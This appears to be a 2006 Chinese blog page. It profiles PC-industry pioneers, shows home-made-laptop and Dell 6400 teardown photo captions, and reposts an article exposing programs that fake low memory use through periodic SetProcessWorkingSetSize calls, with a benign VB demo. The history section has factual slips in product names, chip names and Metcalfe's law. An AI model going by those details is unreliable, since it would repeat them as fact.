      1980年,IBM公司决心开发自己的个人电脑,便制定了“西洋棋方案”。他们需要找一家软件公司合作开发一套个人电脑操作系统。当时的微软为了不错过这个千载难逢的发展机会,向IBM称自己有软件操作系统,实际上,虽然当时微软公司在软件行业已有一席之地,但依靠的却是其程序语言,并无现成的操作系统。为了与IBM公司合作,微软不得不去找帕特森。
      微软从帕特森那里,仅以2.5万美元的转让价格便获得了SCP-DOS的使用权。SCP-DOS虽比较粗糙,但已经具有了雏形,只要在其基础上进行加工,搞出合乎要求的产品并不太难。事实上,SCP-DOS对微软的重大意于义在于,它使IBM公司放弃了CP/M,转而与微软合作,从而成就了微软的未来。
      1981年4月,帕特森离开了西雅图电脑制造公司,投到微软公司门下,这时才知道自己的操作系统被微软拿来作为IBM公司合作的产品之一。他当时非常恼火和后悔,不过也无可奈何,自己的成果虽然潜力无限,但在西雅图电脑制造公司却无法得到推广,相反由微软公司去发展完善,总比埋没了要好。

      便携计算机之父
      在硅谷历史上,亚当·奥斯本(Adam Osborne)绝对算得上是一个人物,他在20世纪70年代初期得到了一份为英特尔新发明的微处理器编写说明书的工作,随后成为技术领域的自由撰稿人,先后在计算机杂志《界面时代》(Interface Age)和《Infoworld》上开辟专栏。
      但奥斯本有更大的计划,他想要成为这个行业的一分子、硅谷的大亨,向对他的逻辑天才发生过怀疑的人证明他们的错误。他毫不谦虚,甚至有些自大地说:“我跟每一个人说,他们应该制造什么,可是没有人听我的话,所以我自己去制造了。”
      令人惊奇的是,奥斯本证明了他的设想是合理的。奥斯本有两个很妙的主意:首先,利用眼下电路体积变得越来越小的优势,制造出一种既小又轻而且结实的便携式个人计算机;其次,把当时需单独购买并且价格昂贵的最流行软件,算在个人计算机的价格内卖给顾客。此前,硬件和软件公司从来不会同时提供这两项服务。
      1980年3月,在西海岸计算机展览会上,奥斯本见到了为一家硬件公司设计电路板的Lee Felsenstein。奥斯本向他提出了自己的设想,并对Felsenstein提出设计要求:这台计算机一是要廉价结实,既小又轻;二是要捆绑字处理和电子表格软件。
      1981年4月奥斯本Ⅰ型计算机全新亮相,含软件在内的整机价格仅1795美元。这一下子就轰动四方,到1981年9月,公司月销售额就攀升至100万美元,第二年公司收入就达7000万美元。
      但奥斯本公司在成立的第二年的年中,便开始出现严重的错误。管理上的混乱导致产品质量下降、交货延误和财政空虚,而市场策略的错误更使它功亏一篑。当时在市场上占统治地位的是IBM,而奥斯本公司的“管理者”却不能与之兼容,这本不算太糟,但奥斯本不能忍受这样的情况。于是,奥斯本在新产品投放市场一星期后,宣布他已开始准备与IBM兼容,这等于无形之中宣布自己的产品已经过时,使销售量顿时一落千丈。一个美丽的计算机神话仅仅维持了不到两年时间。这个以自己的创新理念,促使计算机业发展方向发生革命的人物,这个一度是PC业内最具影响力、最富争议的人物,就这样从业界淡出,将一切甩在了自己的身后。

      磁盘之父
      各种类型的软、硬磁盘,是个人电脑最重要的存储设备,磁盘的历史并不太长,从世界上第一台硬盘发明至今,也不过40余年时间。
      20世纪50年代,IBM公司董事长小托马斯·沃森迅速把事业扩展到美国西海岸,下令在加利福尼亚圣何塞市附近新建实验室和工厂。约翰逊带领着30多名青年工程师,在不到三年时间,就为IBM创造了引人注目的技术成果——磁盘存储器。在约翰逊领导IBM圣何塞实验室研制硬盘的过程中,一位名叫艾伦·舒加特(Al.Shugart)的青年工程师发挥了关键作用。
      舒加特1951年大学毕业后加盟IBM,在研究部门工作了十多年。 1969年,他离开IBM建立舒加特合伙人公司,并研制出世界上第一片以塑料材质为基础的5英寸软磁盘,即PC机上使用的标准软盘。
      1974年,舒加特首次创办的公司倒闭,五年之后,舒加特重返电脑行业,在著名的硅谷腹地, 与过去的几位同事共同创建了希捷(Seagate)技术公司,专门为个人电脑研制高性能的小型硬盘。
      1980年,希捷技术公司宣布研制出第一台5.25英寸温式硬盘,容量达5~10MB,后来成为IBM PC/XT个人电脑最具特点的标准配置。 舒加特领导的这家公司,目前已是资产数十亿美元、员工10余万人的世界上最大的PC硬盘生产厂商之一。

      自由软件之神
      20世纪末,软件业发生的最大变革就是自由软件的全面复兴。在自由软件的浪潮下,软件业的商业模式脱胎换骨,从以卖程序代码为中心,转化为以服务为中心,而理查德·斯托尔曼则被称为软件业的自由之神。有人说,斯托尔曼应该算是世界上写软件最多的程序设计师。但是,斯托尔曼真正的力量是他的思想。在斯托尔曼的理论下,用户彼此拷贝软件不但不是“盗版”,而是体现了人类天性的互助美德。对斯托尔曼来说,自由是根本,用户可自由共享软件成果,随便拷贝和修改代码。他说:“想想看,如果有人同你说‘只要你保证不拷贝给其他人用的话,我就把这些宝贝拷贝给你’。其实,这样的人才是魔鬼”。
      理查德·斯托尔曼一副披头士的打扮,看起来像现代都市里的野人,但如果他将一件“麻布僧袍”穿在身上,又戴上一顶圆形宽边帽子,有如绘画作品中环绕圣像头上的光环。一眨眼的功夫,他又变成圣人,散发着先知般的威严和力量。野人与圣人,恰恰就是这位自由软件的精神领袖理查德·斯托尔曼的双重属性,他既是当今商业软件领域野蛮的颠覆者,又是无数程序员和用户心目中神圣的自由之神。

      微软帝国
      据不久前的一期《福布斯》杂志的年度统计,微软创始人比尔·盖茨(Bill Gates)以587亿美元的个人资产仍排名世界首富。他在短短20多年的时间里创造的财富比传统的汽车大王、石油大王、钢铁大王或金融寡头在200年时间里创造的家庭财富还多。
      像苹果砸出牛顿的智慧一样,个人电脑突入盖茨的脑海也有一个外在的启蒙者,这就是1975年1月份的《大众电子学》杂志,它封面上Altair 8080型计算机的图片一下子点燃了比尔·盖茨的电脑梦。盖茨打电话给罗伯茨表示要给Altair研制Basic语言,之后,盖茨和艾伦在哈佛阿肯计算机中心没日没夜地干了8周,为8008配上Basic语言,开辟了PC软件业的新路。
      1975年5月,比尔·盖茨产生了退学的想法,他希望能和好友艾伦一起创办一个软件公司,由于父母的极力反对,比尔·盖茨没能马上退学,但他还是离开了西雅图到了亚帕克基。1975年7月,他与艾伦合作创建公司。微软公司前身成立时,比尔·盖茨正好20岁。
      如今微软已成为了业内的“帝国”,除了主宰PC操作系统和办公软件外(这是微软的命脉),还涉足个人财务软件、教育及游戏软件、网络操作系统、商用电子邮件、数据库及工具软件、内部网服务器软件、手持设备软件、网络浏览器、网络电视、上网服务及近20个不同的Web网站。
      PC直销
      迈克·戴尔(Michael Dell)曾就读于奥斯汀的德克萨斯大学,19岁退学。
      1984年,迈克·戴尔以1000美元和一个在个人计算机业中前所未有的理念建立了戴尔公司,即避开给产品增值较少的中间商,直接向最终用户销售量身订制的个人计算机。这样可以根据订单生产以取消库存,并把后勤服务与供应商结合起来,创造出一种规范化、低成本的企业文化。通过这种创新的直线订购方式和在业界率先倡导的服务和技术支持方案,戴尔公司已成为全球顶尖的个人计算机供应商之一,并且是领先的计算机直线订购公司和全球发展最快的主要计算机系统公司。
      戴尔公司在PC的领导地位带来了全球革命,还被公认为是最大的计算机系统网上供应商,迈克·戴尔因此成为当时最年轻的首席执行官之一,他的个人资产曾达到214.9亿美元。

      苹果创始人
      不久前,美国《洛杉矶时报》评选出了“20世纪经济领域50名最有影响力人物”,史蒂夫·乔布斯(Steve Jobs)与另一名苹果电脑公司创办人沃兹·尼克并列第5名,他们的贡献主要表现为“创办苹果电脑,带动了全球个人电脑普及应用浪潮,并迫使IBM PC于1981年面市”。历经了20多年的磨炼,人们在史蒂夫·乔布斯身上发现了一系列走向成功的闪光之处:首先是信息消费技术产品的主导者,其次,是随机应变的企业家。
      1976年,21岁的乔布斯和26岁的沃兹·尼艾克在乔布斯自家的车库里成立了苹果电脑公司。他们的第一个产品是一种没有键盘、机箱、声音和图像的计算机电路板,他们称之为Apple I。1977年4月他们成功开发了AppleⅡ,这是有史以来第一台具有彩色图形显示功能、键盘、电源和造型的个人电脑产品,也是第一台在市场上进行销售的个人电脑。1985年,苹果公司已经拥有了20亿美元的资产,成长为当时硅谷灿烂的明珠。
      乔布斯的另一个功绩是在1997年9月重返该公司任首席执行官后,对奄奄一息的苹果公司进行大刀阔斧的公司改组和一连串新产品降价促销的措施。乔布斯抓住Internet浪潮带来的机遇,相继推出了Power Macintosh G3、iMac和iBook等一系列划时代产品,不仅让苹果电脑公司起死回生,从赤字累累奇迹般地变为连番获利,而且使苹果在1998第四个财政季度创造了1.09亿美元的利润。苹果重新回到了全球信息技术潮流领袖的地位,并带动全球个人电脑与信息技术产品时尚化、易用化的新潮流。

      以太网之父
      鲍伯·梅特卡夫(Bob Metcalfo)被称为以太网之父,并且提出了网络的实用性与其使用者数目的平方成正比的“梅特卡夫法则”,即如果网络中有n个用户时,网络中就有n(n-1)个潜在商品,当第n+1个顾客加入此网时,该用户就向其他所有用户提供了2n个潜在商品。
      鲍伯·梅特卡夫毕业于麻省理工学院,后来到哈佛念博士。他在哈佛大学宣读了阐述以太网的论文,哈佛大学说理论性不强,要他进行理论升华,然后再答辩。梅特卡夫无奈,只好到心理学家泰勒这里来“升华”,想不到却搞出惊人之举。在他主持下,施乐硅谷研究中心1973年5月,第一次在局域范围内实现了微机间的联网。梅特卡夫欣喜不已,当他要给这个新联网系统取名字时,一想到哈佛大学说他的理论深度不够,就气不打一处来,想到19世纪末物理学家们提出的玄虚不已的以太(Ether)理论,就郑重其事把它命名为“以太网”(Ethernet),并于1977年申请了专利。1979年4月,鲍伯·梅特卡夫正式成立了3Com公司,目标就是推进以太网成为业界标准。现在当以太网带宽开始向10G迈进时,谁还能说以太网不是业界的一个标准呢?
     
      IT偏执狂
      葛鲁夫绝对是20世纪史上最重要的角色之一:他开创了微处理器产业、引爆了个人电脑革命并一手将英特尔打造成超级竞争机器。他的竞争策略是:推出新产品、主动降价打击竞争对手、再推出新产品……,这个逼迫自己不断进步,不让对手有任何喘息空间的策略,让英特尔主宰个个电脑产业的时间超过十年。现在他虽然已经退居二线,但葛鲁夫仍然是位值得研究的大师。
      1998年1月5日,是葛鲁夫一生中最辉煌的时刻,他战胜了英国王妃戴安娜、克隆绵羊多莉之父伊安·威尔马特和美联储主席艾伦·格林斯潘,成为《时代周刊》新一届的年度世界风云人物,加上1997年英特尔辉煌的业绩,葛鲁夫的名声和威望被推上了巅峰。
      而之后的葛鲁夫选择了急流勇退,1998年5月他将CEO一职交给公司总裁贝瑞特,只留下更具象征性的董事会主席一职。这一方面与他的年龄和身体状况有关,另一方面是处于战略转折点的CPU市场,迫使他提前让贤。此后,由于公司业绩不佳,加上低端市场操作不力,公司股票比高峰时下跌30%以上。葛鲁夫走得恰是时候,这位好斗、爱发脾气、有驾驭力的铁腕人物必须将权力之杖让与一个更和气、更具亲和力的人,才能使英特尔力挽狂澜。

      蓝色救星
      20世纪80年代末,将头埋在沙里的IBM公司经理们,面对新崛起的个人电脑还死抱着大型电脑的概念不放。20世纪90年代初期,由于欧美经济萧条,IBM公司内部机构臃肿,连续几年公司股票不断下跌,一时间,不少持悲观态度的人士认为,IBM已经难以逃脱覆舟的命运,当时的IBM几乎成了一辆没人要的破车。
      1993年郭士纳正式接管IBM,开始发起向PC业的进军,重振IBM雄威。1994年底,IBM获得了自20世纪90年代以来的第一次赢利30亿美元。正如郭士纳所说,信息革命即将发生,IBM再也不能靠亮皮鞋和微笑来过关了。
      1995年6月5日,处理完内部事务的郭士纳终于将锋芒扫向了外界。他瞄上了Lotus公司,不顾Lotus总裁吉姆·曼兹的反对,决定强行吞并。6月11日,这桩生意最终以35亿美元成交,成为当时软件史上最大的购并案。之后,郭士纳将Lotus的Notes软件作为武器,向软件市场发动总攻,并一举拿下了企业网络市场。1995年,IBM营收突破了700亿美元大关。
      郭士纳为IBM带来了滚滚利润,也为他自己挣得了不菲的收入。1996年他已获得了82.5万股期权,账面价值6900万美元。1997年3月,董事会同意再给他增加30万股期权,希望他再干一个任期到2002年,为此公司将另加200万股票认购权。如果IBM股票能保持10%的增势,那这批股票将值3.3亿美元。
    12/2/2006

    买不起手提电脑,自己做一个

    先准备好液晶显示器
     
     
    开始制作笔记本显示屏
     
     
    笔记本显示屏做好
     
     
    制作笔记本键盘
     
     
    初具规模
     
     
    经过一番“美容”后
     
     
    制作鼠标
     
     
     
    大功告成
     
     
     
    11/26/2006

    [转载]软件也忽悠人--揭穿号称内存占用极低的软件的诡计

    我实在不愿意提起这个话题.后来在网上看到几篇文章,深深感觉到,已经有程序员站出来,揭穿这个忽悠了千百万用户的诡计了...
    附2篇文章的地址:
    http://blog.csdn.net/biku/archive/2006/07/06/886038.aspx
    http://blog.csdn.net/zlt982001/archive/2005/08/28/466879.aspx
    我这篇文章无非是归纳了几篇文章的内容,并深入的阐明恶意使用该技术带来的坏处.
    请一味追求低内存软件的用户们注意了:什么才应该是选择软件的主要因素.


    物理内存和虚拟内存

    物理内存,在应用中,自然是顾名思义,物理上,真实的插在板子上的内存是多大就是多大了.看机器配置的时候,看的就是这个物理内存.

    如果执行的程序很大或很多,就会导致物理内存消耗殆尽.为了解决这个问题,Windows中运用了虚拟内存技术,即拿出一部分硬盘空间来充当内存使用,当内存占用完时,电脑就会自动调用硬盘来充当内存,以缓解内存的紧张.

    一个程序,不可避免地要用到虚拟内存,因为不频繁执行或者已经很久没有执行的代码,没有必要留在物理内存中,只会造成浪费;放在虚拟内存中,等执行这部分代码的时候,再调出来.
    Windows 的任务管理器可以帮助我们看到进程的虚拟内存.调出任务管理器,点击菜单“查看”-“选择列”,在出现的窗口中,钩上“虚拟内存大小”,如图1:


    点“确定”,这个时候,进程列表中已经显示各进程的虚拟内存大小,如图2:


    一个程序到底应该使用多少虚拟内存呢?不一定,但是应该以恰到好处的符合虚拟内存原本作用为最好.
    下面将揭穿表面看起来调用了大量图片、大量运行库的程序,为什么才“占用”不到 1 MB 的内存的诡计.

    原来是 SetProcessWorkingSetSize 函数

    MSDN 对该函数的表述(翻译):使用这个函数来设置应用程序最小和最大的运行空间,只会保留需要的内存.当应用程序被闲置或系统内存太低时,操作系统会自动调用这个机制来设置应用程序的内存.应用程序也可以使用 VirtualLock 来锁住一定范围的内存不被系统释放;当你加大运行空间给应用程序,你能够得到的物理内存取决于系统,这会造成其他应用程序降低性能或系统总体降低性能,这也可能导致请求物理内存的操作失败,例如:建立 进程,线程,内核池,就必须小心的使用该函数.

    也就是说,该函数不是节省内存,而是强制把进程的物理内存搬到虚拟内存中.

    另外有一些资料上说,该函数“将有可能导致缺页中断,严重影响性能”.
    函数原型:
    BOOL SetProcessWorkingSetSize(
    HANDLE hProcess,
    SIZE_T dwMinimumWorkingSetSize,
    SIZE_T dwMaximumWorkingSetSize
    );
    我们用 VB 来做这么一个简单的例子,是程序占用 300 KB 内存吧.

    建立一个标准的 VB 工程,在 Form1 中放置一个 Timer1 ,把 Interval 属性设置为 1000 (即 1 秒).然后在代码编辑框中输入以下代码:

    Private Declare Function SetProcessWorkingSetSize Lib "kernel32" (ByVal hProcess As Long, ByVal dwMinimumWorkingSetSize As Long, ByVal dwMaximumWorkingSetSize As Long) As Long
    Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
    Private Sub Timer1_Timer()
    SetProcessWorkingSetSize GetCurrentProcess(), 50000, 100000
    End Sub
    然后生成 工程1.exe,执行,调出任务管理器查看,发现内存占用才 320 KB.如果把定时器关闭,这进程的内存一般 4 MB左右.
    必须定时执行该函数,否则虚拟内存会慢慢被调出来,恢复原来的内存大小.
    如果要使一个本来需要占用大量内存的程序减低到几百 KB ,使用同样的方法即可.

    诡计带来的危害

    如果 SetProcessWorkingSetSize 函数被正常使用,是非常有用处的.但是为了蒙骗用户的眼睛,每秒,甚至几十毫秒就把大量内存往虚拟内存里面压,就会带来无可预计的危害.看看这篇文章怎么说:“因为他只是暂时的将应用程序占用的内存移至虚拟内存,一旦,应用程序被激活或者有操作请求时,这些内存又会被重新占用.如果你强制使用该方法来设置程序占用的内存,那么可能在一定程度上反而会降低系统性能,因为系统需要频繁的进行内存和硬盘间的页面交换.”.

    没错,如果你使用了这类软件,意味着你的硬盘将每秒将 I/O 大量数据;硬盘的磁针将拼命旋转...(当然硬盘磁针不可能不旋转^_^,只是选择得更厉害而已).

    不是说 BT 很伤内存吗?不然,因为现在大多 BT 软件都有缓存技术.且看 Bitcomet 官方对缓存技术的说明:“传统BT高速下载时硬盘会响得很厉害,这是大量的随机读取造成的.... BitComet可以由用户设置缓存大小.... 可以明显地看出牺牲一小部分内存作缓存对硬盘的保护作用.”

    是不是有种心寒的感觉?一类软件宁愿牺牲内存,也要减少保护硬盘;而另外一类软件,却为了欺骗用户,让CPU、硬盘更加奔波......

    抓一个凶手

    这类软件不少,我以其中一个桌面工具为例,揭穿它的假面具(不点名字了).运行该软件后,随意操作一下,然后打开进程管理器,把虚拟内存列调出来,找到该进程,如图3:

    OK,20 MB 虚拟内存,而只有 632 KB 物理内存.细心的你会发现,大概每 1 秒,该行都有闪烁的感觉,没错,这正是每秒调用 SetProcessWorkingSetSize 的结果.另外,我们打开 Norton Process Viewer ,查看该进程的 CPU 占用情况,如图4:


    可以看到,就算没有操作该软件,但是每秒,都有 3% 的CPU占用起伏(虽然这并不能说明什么).另外,内存框中可以看到物理内存和虚拟内存的占用,两者相去甚远.此外,可以用 Hook API 技术来证明每秒调用 SetProcessWorkingSetSize 的行为.

    应该怎么做

    这篇文章只想让用户了解软件占用资源的实际.而程序员应该把下功夫,真正从代码中减少内存的消耗,而不是一味忽悠用户.调用 SetProcessWorkingSetSize 会带来某些好处,但是何时调用、如何调用应该符合两个要求:
    1,在程序暂时不被使用的时候(例如最小化);
    2,物理内存和虚拟内存应处于一个合适的比例(而不是 600 KB 比 20 MB 这么荒唐);
    3,或者不调用,让 Windows 去处理.
    (本人技术有限,对于文中的错误恳请高手给予指正)
    11/6/2006

    DELL 6400拆开了看看

    首先声明:
    1.这个是转载的,不是我没事把本给拆了
    2.大家看到后如果很有感触,可以去DELL的网上订购一台拆着玩,不要跑过来来拆我的本本
    3.就这些先
     
    拆之前要装备好:6400一台、十字罗丝刀一把、一字起一把、盒子一个、说明书一份
     
     
    首先把最近非常红火的拆开
     
     
    内存与小猫
     
     
    后面拆完了,从前面拆
     
     
    把上面图那东东拆开就可以拆键盘了,松掉两个罗丝,轻轻从卡位那一翘就出来的,不过小心排线。
     
     
    拆屏幕
     
     
    拆掉了掌托后,CPU,显卡就在眼前了,也有一排线,小心
     
     
    显卡
     
     
     
    主板上的PCIE接口
     
     
     
    风扇
     
     
    CPU、北桥
     
     
    南桥/网卡/无线网卡/读卡器心
     
     
    触控板/前置音频控制
     
     
    效果还不错的小喇叭
     
     
     
     
    BT